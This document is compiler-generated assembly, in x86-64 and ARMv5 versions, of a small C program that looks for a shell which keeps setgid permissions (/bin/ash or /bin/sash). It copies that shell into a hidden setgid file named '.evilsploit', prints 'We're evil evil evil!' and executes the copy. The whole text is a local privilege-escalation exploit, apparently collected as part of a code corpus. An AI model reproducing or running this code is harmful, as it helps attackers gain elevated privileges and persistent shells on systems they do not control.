	.file	"1263188.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"/bin/ash"
.LC1:
	.string	"ash shell found!"
.LC2:
	.string	"/bin/sash"
.LC3:
	.string	"sash shell found!"
	.align 8
.LC4:
	.string	"no suitable shell found (one that does not drop sgid permissions) :("
.LC5:
	.string	"size=%d\n"
.LC6:
	.string	".evilsploit"
.LC7:
	.string	"We're evil evil evil!\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 48
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -48[rbp], rsi
	mov	edi, 3170304
	call	malloc@PLT
	mov	QWORD PTR -16[rbp], rax
	mov	DWORD PTR -24[rbp], 0
	mov	rax, QWORD PTR -16[rbp]
	mov	rsi, rax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	stat@PLT
	test	eax, eax
	jne	.L2
	lea	rdi, .LC1[rip]
	call	puts@PLT
	mov	DWORD PTR -24[rbp], 1
.L2:
	cmp	DWORD PTR -24[rbp], 0
	jne	.L3
	mov	rax, QWORD PTR -16[rbp]
	mov	rsi, rax
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	stat@PLT
	test	eax, eax
	jne	.L3
	lea	rdi, .LC3[rip]
	call	puts@PLT
	mov	DWORD PTR -24[rbp], 1
.L3:
	cmp	DWORD PTR -24[rbp], 0
	jne	.L4
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	edi, 2
	call	exit@PLT
.L4:
	mov	DWORD PTR -32[rbp], 0
	cmp	DWORD PTR -24[rbp], 1
	jne	.L5
	mov	esi, 0
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -28[rbp], eax
.L5:
	cmp	DWORD PTR -24[rbp], 2
	jne	.L7
	mov	esi, 0
	lea	rdi, .LC2[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -28[rbp], eax
	jmp	.L7
.L8:
	add	DWORD PTR -32[rbp], 1
.L7:
	mov	eax, DWORD PTR -32[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -16[rbp]
	lea	rcx, [rdx+rax]
	mov	eax, DWORD PTR -28[rbp]
	mov	edx, 1
	mov	rsi, rcx
	mov	edi, eax
	call	read@PLT
	test	rax, rax
	jne	.L8
	mov	eax, DWORD PTR -32[rbp]
	mov	esi, eax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	mov	edx, 1512
	mov	esi, 194
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	open@PLT
	mov	DWORD PTR -20[rbp], eax
	mov	eax, DWORD PTR -32[rbp]
	movsx	rdx, eax
	mov	eax, DWORD PTR -20[rbp]
	mov	rsi, rdx
	mov	edi, eax
	call	ftruncate@PLT
	mov	eax, DWORD PTR -32[rbp]
	cdqe
	mov	edx, DWORD PTR -20[rbp]
	mov	r9d, 0
	mov	r8d, edx
	mov	ecx, 1
	mov	edx, 6
	mov	rsi, rax
	mov	edi, 0
	call	mmap@PLT
	mov	QWORD PTR -8[rbp], rax
	mov	eax, DWORD PTR -32[rbp]
	movsx	rdx, eax
	mov	rcx, QWORD PTR -16[rbp]
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rcx
	mov	rdi, rax
	call	memcpy@PLT
	mov	eax, DWORD PTR -32[rbp]
	movsx	rdx, eax
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rdx
	mov	rdi, rax
	call	munmap@PLT
	mov	eax, DWORD PTR -20[rbp]
	mov	edi, eax
	call	close@PLT
	mov	eax, DWORD PTR -28[rbp]
	mov	edi, eax
	call	close@PLT
	mov	rax, QWORD PTR -16[rbp]
	mov	rdi, rax
	call	free@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	esi, 0
	lea	rdi, .LC6[rip]
	call	execv@PLT
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"1263188.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"/bin/ash\000"
	.align	2
.LC1:
	.ascii	"ash shell found!\000"
	.align	2
.LC2:
	.ascii	"/bin/sash\000"
	.align	2
.LC3:
	.ascii	"sash shell found!\000"
	.align	2
.LC4:
	.ascii	"no suitable shell found (one that does not drop sgi"
	.ascii	"d permissions) :(\000"
	.align	2
.LC5:
	.ascii	"size=%d\012\000"
	.align	2
.LC6:
	.ascii	".evilsploit\000"
	.align	2
.LC7:
	.ascii	"We're evil evil evil!\012\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 32
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #40
	str	r0, [fp, #-32]
	str	r1, [fp, #-36]
	ldr	r0, .L10
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-16]
	mov	r3, #0
	str	r3, [fp, #-20]
	ldr	r1, [fp, #-16]
	ldr	r0, .L10+4
	bl	stat
	mov	r3, r0
	cmp	r3, #0
	bne	.L2
	ldr	r0, .L10+8
	bl	puts
	mov	r3, #1
	str	r3, [fp, #-20]
.L2:
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	bne	.L3
	ldr	r1, [fp, #-16]
	ldr	r0, .L10+12
	bl	stat
	mov	r3, r0
	cmp	r3, #0
	bne	.L3
	ldr	r0, .L10+16
	bl	puts
	mov	r3, #1
	str	r3, [fp, #-20]
.L3:
	ldr	r3, [fp, #-20]
	cmp	r3, #0
	bne	.L4
	ldr	r0, .L10+20
	bl	puts
	mov	r0, #2
	bl	exit
.L4:
	mov	r3, #0
	str	r3, [fp, #-28]
	ldr	r3, [fp, #-20]
	cmp	r3, #1
	bne	.L5
	mov	r1, #0
	ldr	r0, .L10+4
	bl	open
	str	r0, [fp, #-24]
.L5:
	ldr	r3, [fp, #-20]
	cmp	r3, #2
	bne	.L7
	mov	r1, #0
	ldr	r0, .L10+12
	bl	open
	str	r0, [fp, #-24]
	b	.L7
.L8:
	ldr	r3, [fp, #-28]
	add	r3, r3, #1
	str	r3, [fp, #-28]
.L7:
	ldr	r3, [fp, #-28]
	ldr	r2, [fp, #-16]
	add	r3, r2, r3
	mov	r2, #1
	mov	r1, r3
	ldr	r0, [fp, #-24]
	bl	read
	mov	r3, r0
	cmp	r3, #0
	bne	.L8
	ldr	r1, [fp, #-28]
	ldr	r0, .L10+24
	bl	printf
	ldr	r2, .L10+28
	mov	r1, #194
	ldr	r0, .L10+32
	bl	open
	str	r0, [fp, #-12]
	ldr	r1, [fp, #-28]
	ldr	r0, [fp, #-12]
	bl	ftruncate
	ldr	r1, [fp, #-28]
	mov	r3, #0
	str	r3, [sp, #4]
	ldr	r3, [fp, #-12]
	str	r3, [sp]
	mov	r3, #1
	mov	r2, #6
	mov	r0, #0
	bl	mmap
	str	r0, [fp, #-8]
	ldr	r3, [fp, #-28]
	mov	r2, r3
	ldr	r1, [fp, #-16]
	ldr	r0, [fp, #-8]
	bl	memcpy
	ldr	r3, [fp, #-28]
	mov	r1, r3
	ldr	r0, [fp, #-8]
	bl	munmap
	ldr	r0, [fp, #-12]
	bl	close
	ldr	r0, [fp, #-24]
	bl	close
	ldr	r0, [fp, #-16]
	bl	free
	ldr	r0, .L10+36
	bl	puts
	mov	r1, #0
	ldr	r0, .L10+32
	bl	execv
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L11:
	.align	2
.L10:
	.word	3170304
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	1512
	.word	.LC6
	.word	.LC7
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
